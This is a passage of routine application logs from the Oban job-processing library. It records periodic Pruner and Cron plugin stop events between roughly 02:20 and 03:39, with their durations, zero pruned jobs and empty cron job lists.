{"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:37.350 [info] {"source":"oban","duration":967,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:00.225 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:21:07.352 [info] {"source":"oban","duration":967,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:37.354 [info] {"source":"oban","duration":1379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:00.226 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:22:07.356 [info] {"source":"oban","duration":1206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:37.358 [info] {"source":"oban","duration":1143,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:00.227 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:23:07.360 [info] {"source":"oban","duration":1301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:37.362 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:00.228 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:24:07.364 [info] {"source":"oban","duration":1014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:37.366 [info] {"source":"oban","duration":1017,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:00.229 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:25:07.368 [info] {"source":"oban","duration":1622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:37.370 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:00.230 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:26:07.372 [info] {"source":"oban","duration":1180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:37.374 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:00.231 [info] {"source":"oban","duration":474,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:27:07.376 [info] {"source":"oban","duration":1217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:37.378 [info] {"source":"oban","duration":1282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:00.232 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:28:07.380 [info] {"source":"oban","duration":942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:37.382 [info] {"source":"oban","duration":1138,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:00.233 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:29:07.384 [info] {"source":"oban","duration":1045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:37.386 [info] {"source":"oban","duration":1008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:00.234 [info] {"source":"oban","duration":259,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:30:07.388 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:37.390 [info] {"source":"oban","duration":1193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:00.235 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:31:07.392 [info] {"source":"oban","duration":917,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:37.394 [info] {"source":"oban","duration":955,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:32:00.236 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:32:07.396 [info] {"source":"oban","duration":1445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:32:37.398 [info] {"source":"oban","duration":1014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:33:00.237 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:33:07.400 [info] {"source":"oban","duration":1132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:33:37.402 [info] {"source":"oban","duration":1360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:34:00.238 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:34:07.404 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:34:37.406 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:00.239 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:35:07.408 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:37.410 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:00.240 [info] {"source":"oban","duration":292,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:36:07.412 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:37.414 [info] {"source":"oban","duration":1274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:00.241 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:37:07.416 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:37.418 [info] {"source":"oban","duration":1395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:00.242 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:38:07.420 [info] {"source":"oban","duration":1120,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:37.422 [info] {"source":"oban","duration":1264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:00.243 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:39:07.424 [info] {"source":"oban","duration":1248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:37.426 [info] {"source":"oban","duration":1281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:00.244 [info] {"source":"oban","duration":450,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:40:07.428 [info] {"source":"oban","duration":1024,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:37.430 [info] {"source":"oban","duration":1227,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:00.245 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:41:07.432 [info] {"source":"oban","duration":1381,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:37.434 [info] {"source":"oban","duration":1023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:00.246 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:42:07.436 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:37.438 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:00.247 [info] {"source":"oban","duration":317,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:43:07.440 [info] {"source":"oban","duration":1590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:37.442 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:00.248 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:44:07.445 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:37.447 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:00.249 [info] {"source":"oban","duration":425,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:45:07.449 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:37.451 [info] {"source":"oban","duration":1451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:46:00.250 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:46:07.453 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:46:37.455 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:47:00.251 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:47:07.457 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:47:37.459 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:00.252 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:48:07.460 [info] {"source":"oban","duration":904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:37.463 [info] {"source":"oban","duration":1301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:49:00.253 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:49:07.465 [info] {"source":"oban","duration":975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:49:37.467 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:50:00.254 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:50:07.469 [info] {"source":"oban","duration":946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:50:37.471 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:00.255 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:51:07.473 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:37.475 [info] {"source":"oban","duration":1338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:52:00.256 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:52:07.477 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:52:37.479 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:53:00.257 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:53:07.481 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:53:37.483 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:54:00.258 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:54:07.485 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:54:37.487 [info] {"source":"oban","duration":1338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:55:00.259 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:55:07.489 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:55:37.491 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:56:00.260 [info] {"source":"oban","duration":228,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:56:07.493 [info] {"source":"oban","duration":1426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:56:37.495 [info] {"source":"oban","duration":1076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:57:00.261 [info] {"source":"oban","duration":241,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:57:07.497 [info] {"source":"oban","duration":978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:57:37.499 [info] {"source":"oban","duration":984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:00.262 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:58:07.501 [info] {"source":"oban","duration":1193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:37.503 [info] {"source":"oban","duration":972,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:00.263 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:59:07.505 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:37.507 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:00:00.264 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:00:07.509 [info] {"source":"oban","duration":1512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:00:37.511 [info] {"source":"oban","duration":1258,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:01:00.265 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:01:07.513 [info] {"source":"oban","duration":1362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:01:37.515 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:02:00.266 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:02:07.517 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:02:37.519 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:03:00.267 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:03:07.521 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:03:37.523 [info] {"source":"oban","duration":1043,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:00.268 [info] {"source":"oban","duration":228,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:04:07.525 [info] {"source":"oban","duration":1042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:37.527 [info] {"source":"oban","duration":1149,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:05:00.269 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:05:07.529 [info] {"source":"oban","duration":1252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:05:37.531 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:06:00.270 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:06:07.533 [info] {"source":"oban","duration":1226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:06:37.534 [info] {"source":"oban","duration":973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:00.272 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:07:07.537 [info] {"source":"oban","duration":991,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:37.539 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:08:00.273 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:08:07.541 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:08:37.543 [info] {"source":"oban","duration":1672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:09:00.274 [info] {"source":"oban","duration":242,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:09:07.546 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:09:37.548 [info] {"source":"oban","duration":1477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:10:00.275 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:10:07.550 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:10:37.552 [info] {"source":"oban","duration":1042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:11:00.276 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:11:07.554 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:11:37.556 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:12:00.277 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:12:07.558 [info] {"source":"oban","duration":987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:12:37.560 [info] {"source":"oban","duration":949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:13:00.278 [info] {"source":"oban","duration":317,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:13:07.562 [info] {"source":"oban","duration":1305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:13:37.564 [info] {"source":"oban","duration":1378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:00.279 [info] {"source":"oban","duration":455,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:14:07.566 [info] {"source":"oban","duration":1018,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:37.568 [info] {"source":"oban","duration":1295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:15:00.280 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:15:07.569 [info] {"source":"oban","duration":851,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:15:37.572 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:16:00.281 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:16:07.574 [info] {"source":"oban","duration":1327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:16:37.576 [info] {"source":"oban","duration":991,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:00.282 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:17:07.578 [info] {"source":"oban","duration":1002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:37.580 [info] {"source":"oban","duration":1260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:18:00.283 [info] {"source":"oban","duration":251,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:18:07.582 [info] {"source":"oban","duration":1148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:18:37.584 [info] {"source":"oban","duration":1097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:19:00.284 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:19:07.586 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:19:37.588 [info] {"source":"oban","duration":1282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:20:00.285 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:20:07.590 [info] {"source":"oban","duration":1201,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:20:37.592 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:21:00.286 [info] {"source":"oban","duration":536,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:21:07.594 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:21:37.596 [info] {"source":"oban","duration":1465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:22:00.287 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:22:07.598 [info] {"source":"oban","duration":1386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:22:37.600 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:00.288 [info] {"source":"oban","duration":474,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:23:07.602 [info] {"source":"oban","duration":1001,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:37.604 [info] {"source":"oban","duration":1182,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:24:00.289 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:24:07.606 [info] {"source":"oban","duration":923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:24:37.608 [info] {"source":"oban","duration":1374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:00.290 [info] {"source":"oban","duration":468,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:25:07.610 [info] {"source":"oban","duration":1636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:37.612 [info] {"source":"oban","duration":1359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:26:00.292 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:26:07.614 [info] {"source":"oban","duration":1320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:26:37.616 [info] {"source":"oban","duration":1286,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:27:00.293 [info] {"source":"oban","duration":439,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:27:07.618 [info] {"source":"oban","duration":1584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:27:37.620 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:00.294 [info] {"source":"oban","duration":279,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:28:07.622 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:37.624 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:29:00.295 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:29:07.626 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:29:37.628 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:30:00.296 [info] {"source":"oban","duration":241,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:30:07.630 [info] {"source":"oban","duration":975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:30:37.632 [info] {"source":"oban","duration":1261,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:31:00.297 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:31:07.634 [info] {"source":"oban","duration":876,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:31:37.636 [info] {"source":"oban","duration":1096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:32:00.298 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:32:07.638 [info] {"source":"oban","duration":1074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:32:37.640 [info] {"source":"oban","duration":941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:33:00.299 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:33:07.642 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:33:37.644 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:34:00.300 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:34:07.646 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:34:37.648 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:35:00.301 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:35:07.650 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:35:37.652 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:00.302 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:36:07.654 [info] {"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:37.656 [info] {"source":"oban","duration":1075,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:37:00.303 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:37:07.658 [info] {"source":"oban","duration":1194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:37:37.660 [info] {"source":"oban","duration":1294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:38:00.304 [info] {"source":"oban","duration":226,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:38:07.662 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:38:37.664 [info] {"source":"oban","duration":1275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:39:00.305 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:39:07.666 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:39:37.668 [info] 